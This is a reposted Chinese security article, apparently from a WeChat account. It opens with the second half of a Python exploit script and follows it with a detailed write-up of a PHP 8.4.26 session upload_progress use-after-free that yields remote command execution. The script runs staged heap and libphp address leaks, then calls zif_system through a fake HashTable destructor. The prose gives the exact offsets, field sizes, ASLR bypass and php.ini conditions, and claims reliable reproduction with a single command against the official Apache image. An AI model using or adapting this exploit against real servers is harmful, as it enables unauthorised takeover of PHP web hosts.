docker/offsets.py automatically")ap.add_argument("--huge-mb", type=int, default=12,help="size of the OOM field; must exceed memory_limit")ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")ap.add_argument("--no-pre-rotate", action="store_true",help="skip the initial worker rotation")ap.add_argument("--no-retry-rotate", action="store_true",help="do not rotate between failed stage attempts")ap.add_argument("--retries", type=int, default=3,help="attempts per leak stage; stage 3 uses retries+2")ap.add_argument("-q", "--quiet", action="store_true")args = ap.parse_args()if len(args.cmd.encode()) > MAX_CMD:ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")if args.htdata_offset is None:args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"else HTDATA_OFFSET)local_offsets = read_offsets_file(args.offsets_file)t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)# A local docker target may be built from a different image/toolchain than# the lab; ask the container for its real libphp offsets once.if (not local_offsets and not args.no_auto_offsets and args.offsets_fileand t.host in ("127.0.0.1", "localhost", "::1")):helper = os.path.join(_HERE, "docker", "offsets.py")if os.path.exists(helper):if not args.quiet:print("[*] no offsets file; reading libphp symbols from "f"container {args.docker_container}", flush=True)try:subprocess.run([sys.executable, helper, args.docker_container, args.offsets_file],check=False, timeout=60,stdout=None if not args.quiet else subprocess.DEVNULL,stderr=None if not args.quiet else subprocess.DEVNULL,)except (OSError, subprocess.SubprocessError):passlocal_offsets = read_offsets_file(args.offsets_file)if args.zif_offset is None:args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)if args.dtor_offset is None:args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)t.log(f"[*] target {args.url} (cmd={args.cmd!r})")if local_offsets:t.log(f"[*] offsets loaded from {args.offsets_file}")t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "f"htdata=0x{args.htdata_offset:x}")def rotate_after_failure() -> None:if not args.no_retry_rotate:ex.rotate()if not args.no_pre_rotate:ex.rotate()# ---- stage 1 ----chunk = 0for attempt in range(1, args.retries + 1):t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")chunk = ex.stage1()if chunk:t.log(f"[+] chunk base = 0x{chunk:x}")breakt.log("[-] heap leak missed")rotate_after_failure()if not chunk:print("HEAP_LEAK_FAILED", file=sys.stderr)return 1ex.rotate() # each stage needs a fresh worker# ---- stage 2 ----libphp = 0for attempt in range(1, args.retries + 1):t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")libphp = ex.stage2()if libphp:t.log(f"[+] libphp base = 0x{libphp:x}")breakt.log("[-] libphp leak missed")rotate_after_failure()if not libphp:print("LIBPHP_LEAK_FAILED", file=sys.stderr)return 1ex.rotate()# ---- stage 3 ----htdata = chunk + args.htdata_offsetzif = libphp + args.zif_offsett.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")proof = ""if args.proof_file:try:if os.path.exists(args.proof_file):os.unlink(args.proof_file)except OSError:passfor attempt in range(1, args.retries + 3):try:ex.stage3(htdata, zif)except OSError as e:t.log(f"[-] request error: {e}")time.sleep(0.8)if args.proof_file:try:if os.path.exists(args.proof_file):with open(args.proof_file, "rb") as f:proof = f.read().decode("latin1").strip()except OSError:passif not proof and args.fetch:status, body = t.get(args.fetch)if status == 200:proof = body.decode("latin1").strip()if proof:t.log(f"[+] W3 attempt {attempt}")print(f"PROOF: {proof}")return 0t.log(f"[-] stage 3 attempt {attempt} no proof yet")rotate_after_failure()print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",file=sys.stderr)return 1if __name__ == "__main__":try:sys.exit(main())except KeyboardInterrupt:sys.exit(130)
ok说点有营养的:
漏洞面是 session.upload_progress 在 RINIT 之前触发的 session 初始化,以及 OOM bailout 后跨请求残留的悬空指针。下面以 lab 构建为例;官方镜像的 bookworm 标定值见 exp 末尾。
整条链的攻击流量全部是普通 multipart HTTP,目标页面只有 <?php echo "OK\n"; ?>:
worker 轮换:A_bigfields(3MB 存活 POST 字段 + 12MB OOM)后紧跟一个会初始化 session 的 B,child 以 SIGABRT 退出;prefork fork 出的新 worker 继承相同的 libphp/chunk 映射。
堆泄漏:A 用 1001 个字段触发 max_input_vars 警告(display_errors=On → headers_sent=1),PHPSESSID=\x00 生成新 id 并置 send_cookie=1,最后的 12MB 字段在 php_session_initialize() 内 OOM,PS(http_session_vars) 悬空。B 用 56B multipart 原始值缓冲区重占旧 reference,并用存活的 192B zend_string 承载 fake HashTable;php_url_encode() 越界读把 Zend MM chunk 指针写进 Set-Cookie(4096B、98 个指针)。
libphp 泄漏:A 把悬空 PS(id) 放到 chunk+0xb7400;B 的 56B HashTable 页让 ZSTR_LEN(PS(id)) 读到 nTableSize=16,数据区正好是 nNextFreeElement|pDestructor;pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50,从 Set-Cookie 解出 libphp base。
命令执行:A 用 6 个 pad 把悬空 reference 固定到 R0=chunk+0x24e0;B 用 55B raw buffer 覆盖 R0-0x10,fake HashTable 放在 chunk+0x6e0d8 的 167B 存活字符串里,pDestructor = zif_system = libphp+0x43a870。触发链:
php_session_track_init()zval_ptr_dtor(PS(http_session_vars))zend_reference_destroy(R0)zval_ptr_dtor(&ref->val)zend_array_destroy(fake HT)zend_hash_destroy(fake HT)pDestructor(&bucket->val)
而终端只使用 libphp 内的 zif_system,不需要 libc。
不要看到RCE就很上头,请继续往下看:
页面为什么不需要 session_start():A/B 的 session 初始化发生在 RINIT 前的 multipart 回调里(FILE_START → php_session_rfc1867_update → php_session_initialize();END → php_session_rfc1867_cleanup → php_session_initialize()),与脚本内容无关。
指针为什么会悬空:A 在 php_session_initialize() 内 OOM bailout,PS(http_session_vars) / PS(id) 没有被清空;下一个请求初始化 session 时 php_session_track_init() 对它执行 zval_ptr_dtor。
为什么能重占:multipart 普通字段的值在请求解析阶段被分配成 zend_string;56B block、55B reference、167B 字符串这些尺寸正好覆盖旧 reference、承载 fake HashTable。
为什么能过 ASLR:两次 Set-Cookie 越界读分别给出 chunk base 和 libphp base;阶段之间用纯 HTTP abort/fork 换 worker,地址空间不变;终端不依赖 libc。
历史线:session_unset() + 用户态 __destruct 的 Defect D(arData UAF)已在自定义 PHP 页面取得 RCE(NOASLR_REPORT.md),但违反“不写特定 PHP”约束,仅作机制参考。
地址/偏移(相对 chunk 或 libphp,与 ASLR 无关):
复现声明
一个 exp 复现全部:python3 exploit.py -u ... 一条命令完成 worker 轮换、堆泄漏、libphp 泄漏和 zif_system 执行;不需要目标侧文件、不需要 session_start()、不需要本地信号。
纯 HTTP:攻击流量只有 multipart POST,目标 webroot 只有 <?php echo "OK\n"; ?>。
环境:官方 php:8.4.26-apache(PHP 8.4.26 / Debian 12 / Apache 2.4.69 prefork)+ docker/php.ini、docker/apache.conf,默认 --profile bookworm,实测 3/3。原 lab 构建(Apache 2.4.68、最小 PHP)用 --profile lab;两套 profile 的 chunk 偏移和 stage3 触发方式已分别标定。
当前 RCE 要求 display_errors=1、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0
本文转载自微信公众号「暗影安全」,查看原文。版权归原作者所有,如有侵权请联系删除。